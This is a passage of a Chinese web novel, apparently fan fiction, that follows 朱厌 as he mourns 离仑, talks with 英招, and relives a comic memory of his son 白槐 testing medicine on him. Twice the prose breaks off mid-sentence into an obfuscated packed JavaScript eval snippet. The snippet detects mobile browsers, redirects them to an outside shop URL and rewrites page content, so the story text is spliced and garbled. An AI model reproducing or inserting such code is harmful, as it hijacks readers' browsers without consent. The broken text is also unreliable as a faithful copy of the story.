小小槐鬼,轻轻动了一下。虽然已经半死不活了,可当闻到了熟悉的气息,它还是下意识伸手抓住了这一抹丝滑,连忙往自己怀里藏了起来,但脸上表情依旧是生无可恋的,静静又乖乖地摊开无力的四肢,继续半死不活地瘫在槐树之根上。 净渊给它的,是一根朱厌的发带。 那是他今晚临走前,从朱厌梳妆桌上偷偷顺走的。 净渊俯身,伸指轻轻戳了戳半死不活的小小槐鬼,意有所指同他说着:“喂臭小子,你救朱厌那么多次,不惜连命都搭进去了,只剩下这一抹残存的精魄,你可真别死了。死了,可就前功尽弃了,再坚持一下,我会尽快找齐你的精魄的。” 小小槐鬼动了一下,可也只是那么轻轻一下,带着淡淡的哭腔,有些委屈又有些好笑,有些惨兮兮又有些可怜,有气无力冲净渊喊了一句:“厌...” 净渊真的是拿他没辙了,只好哄着它说:“没错,好好活下来,就可以早点去找你的朱厌了。现在,你最重要的任务就是躺回槐树之根里头,好好睡觉,好好休养。” 小小槐鬼这次很听话,挣扎了很久才勉强站了起来,又颤颤巍巍地挣扎了好久,才钻回槐树之根里。 一夜折腾下来,天都要亮了,净渊也无意入眠,干脆转身去了无殇楼看起折子来。 天光微亮,九幽鬼气微散,也开始热闹起来。 忽然,一鬼将匆忙来报,给正在看着折子的净渊递上了一纸新帖。净渊打开一看,眼神不由一沉,随即动身,离开了无殇楼。 水青色结界笼罩下的长宁殿,一如既往的寂静,细听之下,还能听到里头传来一俩声微弱的说话声。 净渊站在殿外许久,也听着里头那人说了好多好多的话,最后才迈开步伐,走了进去。 陌离抱着昏睡不醒的长宁,坐在窗前,眼神淡淡的,静静看着外头,发着呆失着神,那副失魂落魄的样子,看得净渊心头一痛。 净渊向陌离走了过去,坐在他身后,在他眉心落下一吻后将他拥住,很小声同他说到:“玄隐那边送来了帖子,是他的万岁宴,还宴请了他。你,可想去吗?” 他话刚说出口,就很明显感到怀里被他抱着的人,身形一僵,连摸着长宁脸的手都停下不动了。 陌离没有说话,净渊在等他说话。 那双水青色的眼中,只是其中闪过一抹痛苦:“我去问问他吧。” 陌离没有给到他是否要去参宴的答案,净渊也没继续追着他问,只是将他默默抱紧了些。 九幽鬼域的一处结界,陌离好似进入无人之境般,直接走了进去。 寒霜小居院中时不时传来一两声轻微的咳嗽声,再往里走,便看到了一个略微纤瘦,但身形高挑,满头银丝的男人蹲在地上,像是在捣鼓些什么东西。 听见身后逐渐靠近的脚步声,霜华的脸上肉眼可见的先行开心起来,很温柔一说:“你来了。” 霜华的声音很好听,跟他的人一样,温润如玉。 转过身的人,眉眼之间与陌离长得颇为相似。陌离多几分妖艳之色,可他却多了些漫长岁月沉淀下的成熟与稳重。 陌离像一块精雕细琢的白玉,而他则是一块温润细腻的羊脂玉。 “嗯。爹爹今日可安好?”陌离走了过去,看着霜华的药田,脸上有些心不在焉,连说着话不经意的失神 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霜华是玄隐暗域的皇亲贵族,从小聪慧过人,满腹才华,更是家族内备受万般宠爱长大的掌上明珠和天之骄子。 他是修罗。 骁勇善战的修罗,天生没有性别,唯有遇到心爱之人,才会第五百年的成年之礼上择性,不分男女,皆可孕子。 修罗只有到第五百年时才能择性,可霜华却在两百岁的时候先行择性为男子,隐了名入了暗族军队,从最底层的士兵喽啰,一路摸爬滚打,成为军功赫赫的暗族第一大将军。 那时的陌翛,是前暗域之主最不器重且出身最低贱的儿子之一。野心勃勃的他,想要坐上那至高无上的位置,可他身后却空无一人。 于是,陌翛蓄意靠近,以身入局,亲自为霜华编织了一张网,网住了这名出身高贵但性子良善,备受修罗王族宠爱,军功赫赫又骁勇善战的少年将军。 而霜华也不负所望,确实如他所料,不在乎低贱的出身,不受宠的世子身份和世俗的指指点点,深深地爱上了陌翛。最后如陌翛所愿,一步步,按部就班地走入了他早就为他定制好的专属陷阱里,沦陷得无法自拔。 陌翛跟霜华,两人成了婚,成为暗域人人羡慕的神仙眷侣。 霜华如愿,嫁给了心心念念的意中心上人。陌翛也如愿,坐上了那个至高无上的位置。 可是,人是很贪心的。拥有了之后,就会想着索要更多。 陌翛需要更多权势替他坐稳六界暗域之主的位置,于是暗域的后宫,来了一波又一波人。 霜华不愿,宁可鱼死网破也不愿与他人分享自己的爱人。 于是,陌翛将他曾经也颇为欣赏,属于少年的羽翼,一点点残忍折断,斩断了他振翅翱翔的翅膀。 霜华的十分真心,终究还是输给了陌翛的十分算计。 少年的满腔爱意,在勾心斗角的帝王之家,终究比不上权力来得重要。 后来,彻底失望的少年想方设法逃出魔掌,却被帝王再一次斩断了羽翼,永远囚困在暗无天日的玄隐冷宫里,直到陌离的出生。 这场满是算计的爱,九分欺骗一分真心的陌翛,慢慢的,曾经有意为之的虚情假意也变成了情不自禁的真心实意。只是到了后来,他这份迟来的爱,霜华不要了。 曾经有那么一秒心心相印的两人,最后却成为了字字诛心,恶语相向,老死不相往来的两人。 霜华突然停下手中的忙活,站起身,伸手拂了拂身上的泥土,淡淡一言:“那你呢?你原谅陌翛了吗?” 霜华又补了一句:“哪怕,他强行用洗髓池洗去了你的记忆?” 哪怕,长宁如今这番模样也与他有着千丝万缕的联系。 当然,后面那句话,霜华自是不敢说出来。 陌离一愣,表情有些茫然,沉默了好一会才开口:“或许...我已经原谅他了吧...” 微风拂过,吹开了陌离脸侧的散发,也将他的茫然吹散了几分。 “不。你不会原谅他的。”霜华伸手将他散落的发丝捋到耳朵,语气颇为温柔一说,“等你知道了真正的真相,你便不会如此说了...” 霜华摸了摸陌离的头,那双望着他的淡青眼睛,像是洞悉看穿了一切:“先前你同我说过,朱厌那孩子,想回到过去去拯救他的爱人和孩子。从你那时的表情,我就知道,你也想回到过去。可是之涯,回到过去,是要付出代价的。” 陌离,其实一开始并不叫陌离的,而是霜之涯。 随霜华姓,是陌翛给他的一份承诺。而‘之涯’是两人在成婚后,霜华满心期待,早就约定好给孩子定下的名字。 霜华希望,孩子自由自在,海之角,天之涯,任他翱翔。 虽然陌离出生时,霜华跟陌翛早已决裂。他并不是霜华跟陌翛爱意最浓时,日期夜盼,带着万分期待出生的孩子,但霜华依旧希望他自由自在,开心快乐。哪怕后来,这个承载了原本满满爱意的名字变成了凌迟旧人一把锋利的刀。 霜华的反抗与逃跑,让陌翛彻底发疯,拼命抹掉玄隐宫内所有关于霜华的一切痕迹。而陌离也被陌翛强行改掉了名字,改成了‘离’字,妻离子散,生离死别的‘离’。 “或许,朱厌那孩子执着的,跟你执着的,都是一样的东西。可是,真相往往是残酷的。” “遗忘痛苦,留存快乐,不好吗?千方百计才被掩盖起来的真相,是禁不起推敲,更禁不起探索的。” “可是爹爹,只有一半记忆的我,也是真正的我吗?”陌离不由露出一个苦笑,心中暗自凄然。 净渊同他说过,他跟朱厌,是闺中密友。 他跟朱厌,还真不愧是难兄难弟的闺中密友啊。朱厌完全没了全部记忆,可他只有一半记忆。 可他比朱厌,还是好上那么几分的。至少净渊跟长宁,都在他身边。但朱厌,什么都没有了。撇除回到过去他想救下长宁的目的,这也是他为什么想要帮朱厌回到过去的原因。 未经他人苦,莫劝他人善。 若经他人苦,未有他人善。 霜华没有办法给到他这个问题的答案,只是深深叹了一口长长的气。 而他们口中的主角朱厌,早已醒来的他,此刻正坐在奈落川的海崖边上,一脸失神,整个人失魂落魄着... 46.槐谷药屋 奈落川海崖边上,早就苏醒过来的朱厌坐在一块青苔礁石上,一个人从白天待到傍晚,望着落日晚霞,神情格外落寞,像是丢了魂儿似的。 英招终于忙完事儿,刚从陆吾那边赶回了昆仑山。 刚一回来,他就从英磊口中了解到了昨晚发生之事,于是连歇息都还来不及就直接马不停蹄赶来奈洛川了。 英招只远远瞧了那么一眼坐在礁石上的朱厌,不知为何,他竟从朱厌单薄的背影里,看到了落寞、伤感、难过,还有一丝无助。 他抬头,看似无意地看了看奈落川上那一层薄薄的结界,竟从中隐隐约约感受了一股藏匿起来的山神之力。 英招便知道,定是英磊已经来过此处了。 看来,英磊不仅加固了封印,还加了一层结界,只为镇住曾经被朱厌亲手埋封进这奈洛川海崖深渊的离仑法器。 英招走了过去,微笑着朝还在发呆失神的朱厌问了一句:“孩子,告诉爷爷,在想什么呢?” 朱厌没有听到,依旧双眼望着远处,不知在看什么东西,失神的脸上,除了落寞之色,还有一抹伤感与茫然。 看到他抱在怀里的小水壶,英招便猜到这许久不曾见的壶里头,定是又装满混合了玉膏和无心草熬化的水,那是用来压制朱厌体内凶煞的戾气。 英招看着朱厌,眼中忽而一沉,心中更是五味杂陈。 离仑那个孩子还在世的时候,朱厌从不需要喝这水。 因为离仑与他,一个是天生易聚阴邪戾气的大槐妖,一个被天地戾气选中的承载容器,两人既为两相生相克,又佳偶天成的绝配。 朱厌这个孩子,只有在离仑身边的,才是最无拘无束,肆意潇洒的。他无需担心戾气失控,也无需害怕会被戾气夺走身体,因为离仑会在他身边,无时无刻保护着他。 这么多年以来,呆在离仑身边的朱厌,从未失控过。曾经那么一次失控,便是在几万年前,也是唯一一次酿成大祸的血流成河... 英招摸着自己发白的大胡子,若有所思。 看来,离仑下在朱厌体内,那个压制戾气的封印,已经开始松动开裂了... 英招俯身,顺手将朱厌抱着的小水壶取了过来,笑着一说:“说起来,这壶,还是那小子送给你的...” 说着说着,英招像是回忆起了不太愉快的往事,颇为伤感:“原来,不知不觉都已经三万多年了...时间过得真快啊...” 英招这么一动作,才把沉溺于失神中的朱厌,彻彻底底给拉回了现实。 朱厌闻言,眸光微闪,盯着被英招取走的小水壶,脸上些许动容,又有些茫然:“原来...是离仑送的...” 朱厌不由露出一个苦笑,颇为自嘲道:“可是爷爷...我已经不记得了...关于他的所有...我什么都不记得了...” 谁知,英招听到后,反而劝解起朱厌来:“也许,不记得了,也好。那些不开心的、不愉快的记忆,忘了就忘了吧... “人生漫长,我们妖更甚,总要学会向前看,往前走的...” 朱厌宛若一个受了重伤的小妖,望着英招的眼,红红的:“可是,我一点都不想忘记的...我甚至想不起来...我为什么会忘记...” 英招摸了摸他的头,像哄小孩一样:“孩子,若是想不起来,我们就不想了,这样,不好吗?” 朱厌没有说话,只是像个闹着脾气的小孩子一样,倔强地摇了摇头,无声表达着自己的想法。 英招又深深叹了一口气,直接岔开了话题:“孩子,告诉爷爷,方才我来的时候,看到你失魂落魄的,你在想什么呢?” 朱厌脸上闪过一抹痛色,别开了与英招对视着的眼,无助望向地上:“英招爷爷。” “嗯。我在呢。” “我好像做了一个很奇怪的梦。” 英招没有说话,也没有追问。 因为他知道,若是朱厌想说,自然会同他说。若是朱厌不想说,他再怎么频频逼问,也不会有结果。 “那个梦,很奇怪。” 不知为何,每每朱厌想到那个模糊不清的梦,他就格外难受,想要弄清却始终无果。 所以他想,他遗忘的过去,他不知道的一切,或许,英招知道,会给到他一个真正的答案呢。 朱厌望着英招的眼里,蓄满了悲伤之色:“梦里不止有离仑跟小玖,还有另外一个小家伙。” “那个小家伙,长得跟小白兔,一模一样...但我知道,他不是小白兔...他...”朱厌不由哽咽起来,眼里落下一滴滚烫的眼泪,“小白兔像我...但那个孩子他...更像离仑...” 朱厌这番话一出,轮到英招内心为之一痛,连带着那张脸,也顿时神伤起来。 原来,是那个死去的孩子呀... 英招没有给到朱厌答案,只是很意味深长说了一句:“孩子,这世间,恩怨难难辨,爱恨难消。可是,大梦归离,唯心永记。” “唯心永记吗...”朱厌不停念着这句话,又开始失神起来。 他的耳边顿时就响起了离仑先前同他说过的那句话。 离仑总说:“阿厌,有些事,记得却不如忘了。” 可他到底该记得什么?又该忘记什么?离仑从来都没有跟他说过,也没有给过他一个真正的答案。 天光西落,银月高升,朱厌只身一人回到了槐江谷小居。 谷内所有槐精都被英招带去了昆仑小居,此刻少了平日里叽叽喳喳的槐精们,整个槐江谷冷清得一点生气都没有,像是许久没人居住的孤宅。 朱厌走进院子,独自坐在了台阶上。 忽然,槐江谷的上空,下起了鹅毛大雪。朱厌没有躲,而是依旧坐在台阶上,任由絮絮白雪,落满他一头乌发。 看着漫天白雪,朱厌不由想起先前冉遗同他说过的那句扎心之话。 “朱厌,我早就跟你说过了,他永远不会醒来了。” 冰凉的雪粒子,从天而落,飘到朱厌伸出来的掌心上。 掌心温热,白雪冰凉。刚落到掌心,瞬间便化为了水珠。 朱厌忽然觉得,自己眼睛,很疼。 “你喜欢雪,那我变成雪好了。” “离仑...是你吗?” 朱厌哭了,看着满地的积雪,他哭得更厉害了。 他抓了一把雪。 可是,没一会,雪就化成了水,他什么都抓不住,就像当初的他,也抓不住离仑一样。 朱厌无助地抱住自己,像个迷路的孩童,蜷坐在积满厚雪的台阶上:“离仑...其实...我不喜欢雪的...我只是喜欢跟你呆在一起...不管做什么...都好的...” 被接去昆仑小居的槐精们,一个个排排坐坐在窗前。 一眼望去,小窗前,整整齐齐的一排小豆丁,槐精们个个头上都还开着花,跟刚长出来的豆芽菜似的,正同旁边被放在窗栏上的琉璃,一起晒着月光。 槐精们小手撑着肥嘟嘟的小脸,望着满天大雪,一脸忧愁,不由伤心起来:“白娘子,你看,下雪了...看来,妖后大人的心情又不好了...这下子,不仅连槐江谷会下雪,连着昆仑神山也都下雪了...” 窝在镇魂草跟灵烬花铺着的小窝内,琉璃听到这话后,不由抬了下那双冰蓝的蛇眼,瞧了一眼发愁中的槐精。 槐精看到琉璃终于有反应,直接伸手把他抓到怀里。琉璃刚想逃,但跑得太慢了,还是被抓走了。 槐精像撸猫一样,毫不客气地撸起琉璃来,嘴里还絮絮叨叨念个不停:“不知道,今晚妖后大人,还会不会又做噩梦呢...” 大荒的雪,越下越大了,尤其是槐江谷的雪,下得更大了。 朱厌终于起身,回到了屋内。 槐江谷小屋内,一片漆黑。明明朱厌一个挥手施法就可以让屋内顿然灯火通明,可他就是没有这么做。 以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16630580|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前的朱厌,最爱热闹的。可不知从何时起,有些东西,它就是在不知不觉之中,悄然改变了。 或许,是在离仑死后,亦或者是在他游荡了三万多年,三魂归体的苏醒之时。 明亮容易将屋内的孤寂,照得一览无余,漆黑才能掩盖了屋内的清冷与寥落。 夜太漫长了,容易将人的心事,无限放大。 槐江谷小居很大,也有很多房间。 朱厌兜兜转转,七转八拐走过了一处又一处,好似漫无目的地走动着。 走着走着,朱厌想起了傍晚,在奈洛川边,英招离开前对他说的最后一句话。 “孩子,哪一条才是你的道,自己悟吧。” 朱厌思绪有些乱,他又开始走了起来。走着走着,在经过一个小房间的时候,他不由驻足。 “娘亲,你回来了啊!你快来!” “怎么了?我的小白兔。” 一道谈话声从这个小房间内传来,将朱厌当下所有的注意力都勾了过去。 朱厌望去,漆黑孤凉的房间,好似在他抬眼望去的片刻之间,变得通亮无阻起来。 他看到的眼前,紧闭的房间,被一道力量莫名推开。 一道熟悉的人影,从他此刻站着的位置,与他擦肩而过,走了进去。 待到看清进屋之人后,朱厌为之一震,眼中红瞳一缩, 这道从他身边擦肩而过进屋的人影,竟是他自己。 小小的房间里,堆满了各种草药跟药剂。案桌前,坐着一个长得很可爱的小孩,正在埋头捣鼓着手上的药材,小孩在看到朱厌进屋后,脸上满是喜色。 “娘亲!你快来看!” 三万年前的槐江谷小居,槐谷药屋。 正忙于捣鼓着手中药材的白槐,终于见到自己心心念念的朱厌了。 算算时间,他已经一个多月,没见到他香喷喷软乎乎又漂亮得像娃娃的娘亲了。 最近的朱厌好忙,一整天都消失得无影无踪的,白槐只知道他一直在人间跟大荒来回奔波着,但不知道他到底在忙乎些什么。 今日,白槐之所以知道他的行踪,还是早上离仑不慎说漏了嘴。 一整天忙得晕头转向的朱厌,每次回来槐江谷,整个人都脸露疲色,看得离仑格外心疼他。只要朱厌一回到槐江谷,离仑就让他赶紧好好休息,不许人前去打扰。 可白槐白玖两个小家伙还小,还没满百岁的小家伙,正是黏人的年龄,尤其是许久没见到朱厌,一看到他回来就更黏他了,导致朱厌根本没办法好好休息。 于是,离仑干脆下了禁令,不许白槐白玖两人跑去找朱厌。一旦他们跑去找朱厌被他发现,离仑就直接威胁,更是扬言要把他们丢去喂横公鱼! 白槐今日见得到朱厌,还是他对离仑软磨硬泡了许久,才从他身边把朱厌给挖了过来。 一见到心心念念的朱厌,白槐就开心得不得了,连带着平日冷得跟冰块一样的性子都活络起来,语气更是藏不住的开心:“娘亲,你快过来!我有惊喜要给你!” 朱厌走了进去,手里还拿着离仑刚给他摘的桃子,轻轻咬了一口。只见,那双漂亮的眼睛顿时变得又大又圆,还格外通亮,一整个人肉眼可见地眉色飞扬起来。 嗯。好吃。离仑的眼光就是好,连摘的桃子都格外好吃,又大又香,还又甜又脆的,喜欢! 白槐一见到朱厌这眼前忽而一亮的表情,就知道,他肯定又是在心里头夸他的爹爹眼光有多好了,肯定又是把他夸得天花乱坠的。这要是让他爹爹听到,估计又要笑得发花痴了.... 唉...没办法... 若说他爹爹是大荒第一顶级恋爱脑,那他娘亲就是并排第一的另外一位大荒顶级恋爱脑。 白槐内心默默吐槽着:啧啧啧,这爱情的酸臭味,实在是...太酸了! 朱厌又咬了一口清香的桃子,眼睛又亮了一下,开心一问:“怎么了?我的小白兔~找我干什么呢?” 47.寄话槐叶 听到朱厌的声音,白槐当即转身,一旁顿时传来一声窸窸簌簌的声音。 接着,白槐慢悠悠掏出一个白玉小瓶子,又从里头倒出一些粉色药粉搁放在手上,一脸开心同朱厌炫耀着:“娘亲!你看!我研制出新药了!” 谁知,听到这话,朱厌一看,下意识整个人往后轻微躲了一下,暗自倒抽了一口冷气! 糟糕!又被抓来试药了... 朱厌眼神微飘,连忙支支吾吾岔开话题:“那个...离仑呢...离仑跑哪去了...我找他还有事儿呢...离仑呢...” 其实,平日里,不管有事还是没事,朱厌都很习惯找离仑,但这个习惯他好像自己根本就没察觉到。 白槐认认真真盯着自己手中的药粉,还用小指头扒拉了一下药,随嘴回了朱厌的疑问:“爹爹去赐福了,没那么快回来呢...” 朱厌一听,眉心微微一抽,内心一沉,暗自吐槽着:嗯?我们家的混世大魔王,这活阎王崽崽,这是又要做什么呢? 朱厌觑了一眼四周放在桌上的药罐子,还有很多奇奇怪怪又五颜六色的药粉,脸色有些不太好看。 这让他不由想起了前两次帮白玖试药的惨痛回忆。 白玖的岐黄之术,是朱厌教的,但...他学的,有时精湛,有时...失灵... 朱厌第一次帮他试药,是白玖研制出了用来迷晕大荒凶兽的灵灵散。 也不知道白玖是怎么配的,一个迷药硬生生给配成了泻药,把朱厌搞得上吐下泻的,躺在床上好几天才恢复过来。 第二次试药,是白玖研制出了玉帘春。 这药的名字,一听就不对劲,但当时的朱厌也没多留心。结果这一试药,被这药搞得.欲.火.缠身,活生生将自己送到离仑床上去。 偏偏离仑精力太旺盛了,硬生生把朱厌里里外外,上上下下,翻来覆去吃了一遍又一遍最后才肯放过他,结果就是朱厌他又很悲惨地躺了好几天才勉强下床。 事后,被朱厌罚跪面壁思过的白玖,才支支吾吾说出,他是因为看到朱厌房里那本《玉帘春》,才想着要研制出能够帮大荒有情妖牵红线觅良缘的玉帘春。 朱厌当下一听,就被白玖给气得说不出话了,只觉得自己被离仑蹂躏的腰,还有某个地方,更疼了! 什么有情妖牵红线觅良缘!他家小魔王研制出的玉帘春,这根本就是夺他猿命的情药啊! 更糟糕的是,就在朱厌以为这事终于过去了,不曾想他那一本好不容易才从毛笔精那里抢来的孤本《玉帘春》,最后也被离仑连吃带拿地一并给没收走了! 离仑他不仅将他辛辛苦苦抢到的话本子给收走了,还把里面那些奇奇怪怪的招数都在他身上实践了一遍! 可恶!着实是太可恶了! 朱厌一想起这段费他心更费他身的记忆,就只觉得,睁开的两眼,顿时发黑,浑身发抖,腰更酸了,腿也疼了,某处更加不可言喻了! 其实朱厌不知道,医术精湛的,是白槐。而医术拉垮的,才是白玖。 白玖的医术是正儿八经跟朱厌学的,是朱厌手把手,一点点亲自教的。 但令朱厌真正头疼的是,他正儿八经教给白玖的医术,白玖倒是一点都没学到半点,稀奇古怪的东西他倒是无师自通,还给钻研了个精通。 而作为双生子的另一位,白槐性子随离仑,沉稳不爱说话,也不爱热闹,喜静喜独处。平日里除了沉迷于法术修炼,也就只剩下爱看书读书的爱好了。 但有一点白槐倒是随了朱厌,就是,白槐对什么东西都很好奇,偏偏他又很聪明,又格外好学。 白槐看过的书籍,基本过目不忘,涉猎的东西更是上知天文下知地理。而他的医术,则是自己闲着无聊看医书自学成才的。 小白槐懂得太多太多了,以至于朱厌根本就没想过,博览群书的他,竟真的自学成医,甚至超过自己的医术,颇有青出于蓝而胜于蓝之势。 白槐举起手心的药粉,一脸期待冲朱厌一说:“娘亲,我研制的新版涣灵散,准备好了吗?” 朱厌一听,眉眼不自觉往上一挑,十分怀疑但又不太敢表露出来,可心里的疑问一个比一个大! 涣灵散? 不是灵灵散吗?? 他家崽崽这是还给药改了名??? 难道他是觉得,给药改了名就可以提升他那破破烂烂的医术???? ... 就这样,白槐跟朱厌两人,大眼瞪着小眼对视了老半天,颇为僵着局面的趋势,实则各自内心正打着小九九的算盘—— 一脸期待的白槐:我研制的这药绝对厉害!娘待会肯定会夸奖我的! 一脸怀疑的朱厌:臭小子,上次灵灵散试药搞得我上吐下泻,玉帘春试药搞得我床都下不了,还来?我得想个法子让他去找离仑试药,这罪不能老逮着我一个人受啊!多不公平啊!简直是欺猿太甚了!可他又不能打击自家崽崽的信心... 最后,还是朱厌认输,直接败下阵来,再次沦为他家崽崽的试药工具人。 “娘亲,你准备好了吗?” “嗯~” 朱厌有点生无可恋,答得有些有气无力,连忙把手上吃到一半的桃子先藏到一边去。 白槐一脸兴奋,将手中的药粉用力朝他脸上一吹,一脸期待看着他:“娘亲感觉如何?是否头晕目眩?” “毫无波澜。”朱厌缓缓睁开了眼睛,脸上露出一个颇为嫌弃的表情。 深藏在他内心的小邪恶更是彻底上线,暗戳戳把自己从头到尾夸了个遍:这个回答足够完美,毫无破绽,滴水不漏了吧?!我好聪明啊!真不愧是我,大荒第一聪明的大美人!小白兔,你快去找离仑试药吧! 看到白槐没什么反应,朱厌接着又继续邪恶补刀,伸手揉了揉鼻子以掩饰撒谎的心虚,故意又说道,“甚至还有点想笑。” 白槐一听,小脸当下就耷拉下来,有些失落又有些难过,心里头默默自我安慰起自己来。 这是白槐第一次靠自己看书研制出的药粉。 其实,他研制的涣灵散,威力很大,随便一丁点,就足以药晕一个千年修为的妖怪。 白槐他只是算岔了,自家娘亲朱厌是一个修为颇高又法力无边的上古大妖。这些鸡毛蒜皮的东西,自是对朱厌不起任何作用。 更何况,朱厌还是大荒的妖后呢。这个位置,哪有那么容易坐呢!没点实力加持,怎么可能坐得稳啊! 朱厌心里头藏着的小邪恶又再次上线,内心光明正大琢磨着要如何继续,才能够彻底绝了小祖宗往后还找他试药的心思:要不,我再假装打个喷嚏好了,这样子绝对真实无破绽! 行动派外加演技派的朱厌,这不,才刚想到主意,那边直接就开干起来了,化身邪恶白猿君,故意当着白槐的面,又假模假样的打了一个大大的喷嚏。 “哈啾~” 打完了,朱厌还故意拿过一旁桌上放着的手帕,状似擤了擤鼻子,实则是躲在那一方小手帕后,觑着眼,偷偷观察着对面崽崽的神情。 白玖前几次制药跟试药,带给朱厌的心理阴影,实在是太大了。 看到对面的小白槐,盯着自己手上的药粉,一脸疑惑又很认真思考着,朱厌实在很想冲他喊一句:我的小祖宗呀,你快去把离仑找来试药吧!放过我吧!我可不想再跟上次一次上吐下泻或者连床都下不来了! 白槐看着自己手边剩下的灵灵散,大脑一边活络地开始思考如何改良这药剂,一边还分出一半心思,在心里又开始暗自日常自我蛐蛐起朱厌来了:感觉娘亲不太靠谱,又分不清我跟弟弟了。 其实,这次还真不能怪朱厌。今天的白槐白玖,实在是太像了... 平日里,双生子单外在形象就相差颇大,格外好认。 朱厌总吐槽白槐太像离仑了,是因为白槐除了长相、气质、性情像是个迷你版的小离仑之外,连衣品审美跟喜欢的东西,都跟离仑一模一样。 随了离仑的审美品位,白槐的衣服多为深色或暗色,以素雅简洁为主,而白玖的衣服则像朱厌,多为抢眼又花里胡哨的亮色跟暖色系列。 可今日,因为衣服被槐精们洗坏了,白槐就去偷了一件白玖的衣服来穿。 好巧不巧,他偷的还是白玖最花里胡哨的一套衣服。 白槐虽年纪尚小,但审美还是在线的。 为了配得上他今日穿的这一身很花里胡哨又五彩斑斓的白玖衣裳,甚至将自己及腰的长发都刻意变短了,也随弟弟戴上了他的小铃铛发饰,一整个俏皮可爱。 不开口的白槐,光坐在那儿,简直就是白玖本人。 白槐白玖这一对双生子,从出生到至今,一开始是由朱厌照顾着他们,然后变成了离仑照顾得更多些。再后来,不知道怎么回事,竟变成了离仑一个人在照顾跟带娃,而朱厌呢,则是一如既往地满大荒跑着玩。 朱厌的性子大大咧咧,有时心思玲珑聪慧得超乎常人,有时又迷糊得像个笨蛋美人。 只要白槐藏起冷寡的性子,稍微活络一些,再刻意伪装些,别说朱厌傻傻分不清楚谁是谁,有时候连离仑都分不太清楚双生子之间,到底谁是白槐谁是白玖。 而此时此刻,一提到研制新药,白槐脸上那兴奋的神情跟喋喋不休的小嘴,那幅嘴碎的模样,简直跟白玖一模一样,朱厌自然而然自动带入自家小儿子了。 但更多的是,因为朱厌完全没有想到,白槐竟然能聪明成这个样子!他不仅在很多方面都自学成才,还无师自通了医术跟制药! 朱厌乍一瞧这花里胡哨的妆造,一看这五颜六色的药粉,一听这喋喋不休的嘴碎,这不就是自己那呱噪闹人的小儿子吗?!怎么可能是自己一向沉稳又成熟,懂事又听话的大儿子呢?! 对自家双生子崽崽的刻板印象太严重,导致朱厌根本就没有怀疑,也没有留意到自己已经看岔眼的事实。 白槐看着手中的药粉,自我嘀咕出声:“看来,这药,还是不够好,威力太弱了,得再改良...” 朱厌一听,眼睛顿时一亮,刚想脱口而出,但又担心打击到小家伙的制药信心,故而改口安慰着他:“对呀,你看,你这药,只要再稍微改良改良一下,肯定就可以药效翻倍了。” “你娘亲我呀...”朱厌拿过一旁的桃子,咬了一口继续说着,“相信你一定可以做到的。要不,小白兔你先琢磨琢磨?有事你就去找离仑,如何?” 说完,朱厌脸上藏不住即将要逃跑成功的愉悦,更是无意露出一个劫后余生的表情。 不等白槐再度开口,将桃子往边上一放,整个人就跟脚底抹了蜜油一样,噌的一声直接站了起来,小手直接提着自己的衣裳裙摆,一股烟似的跑了出去,消失在房间里,全然没了人影。 可刚走出去没一会,朱厌又跑了回来,是因为他把离仑给他摘的桃子,那个他才吃到一半的桃子,给落在了槐谷药屋里了。 看到白槐小脸露出有些失望的神情,朱厌又心有不忍,俯身吧唧一声,往他肥嘟嘟的小脸上亲了一口,又摸了摸他的头,温柔一说:“我相信,我们崽崽一定会成功的。对了,我觉得,你要是找离仑试药,效果会更好,因为他的妖力比我还要高哦~只要你药倒了离仑,其他大荒的妖更是不在话下了!” 朱厌蹭的一声,又连忙跑了个没影,生怕下一秒就被自家崽崽又给捉了回去当试药工具人去! 白槐盯着朱厌跑得都只留下残影的背影,思考了一下又沉默了好一会后,还是相信自己的最终决定:“以防万一,待会,还是找爹爹试一下好了。” 殊不知,姜还是老的辣,朱厌的目的也在不知不觉中达到了! 白槐将试药对象的魔爪,伸向了离仑... ... 眼前的槐谷药屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635124|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内,光影消退,连带着坐在案桌前的白槐跟身边那些花里胡哨的崭新药罐子,都消失不见。 如今的槐谷药屋里,案桌前放着的药罐子,早就铺满了一层厚厚的灰尘... 朱厌收回了望得失神的眼光,颇为伤感:“好难过...” 聚魂鬼海里,流动紫光下被硕大鎏金符阵镇压着的那座巨大牢笼里,魂牢内被无数根天玄链锁着的槐树之根,不经意间颤了一颤,藏在里头的小小槐鬼,磨磨唧唧了老半天才慢悠悠钻了出来。 好不容易钻出来的小小槐鬼,喘着大气,只出不进似的,身上那一股幽蓝淡光又淡下去了几分,整个人奄奄一息,瘫挂在枯萎的槐树之根上面。 像只小海星一样瘫着一动不动的小小槐鬼,挂在槐树之根上,倒垂着小脑袋,撅着小嘴,举起自己淡得都快透明的小肥手,小小的指尖上,竭尽全力变出一抹跳跃在指尖的小蓝光,颇为委屈的小小声喊了一下:“厌...” 槐江谷小居内,离仑书房里,那幅曾经被九幽冥火烧毁得一干二净的百妖山海图,那个空无一物的位置,忽然一亮,曾经挂着的位置上折出一道淡淡的蓝光,烧毁的山海图重新又浮现了出来。 重新浮现出来的百妖山海图,残破不堪,黯淡无光,在感应在谷内朱厌悲伤的气息后,又彻底一亮。 驻足在槐谷药屋前的朱厌,转身离去,继续在谷内漫无目的走动着。只是,走着走着,耳边竟传来了一阵若隐若现的鼓声。而眼前的槐江谷小居忽而就变成了大荒禁地。 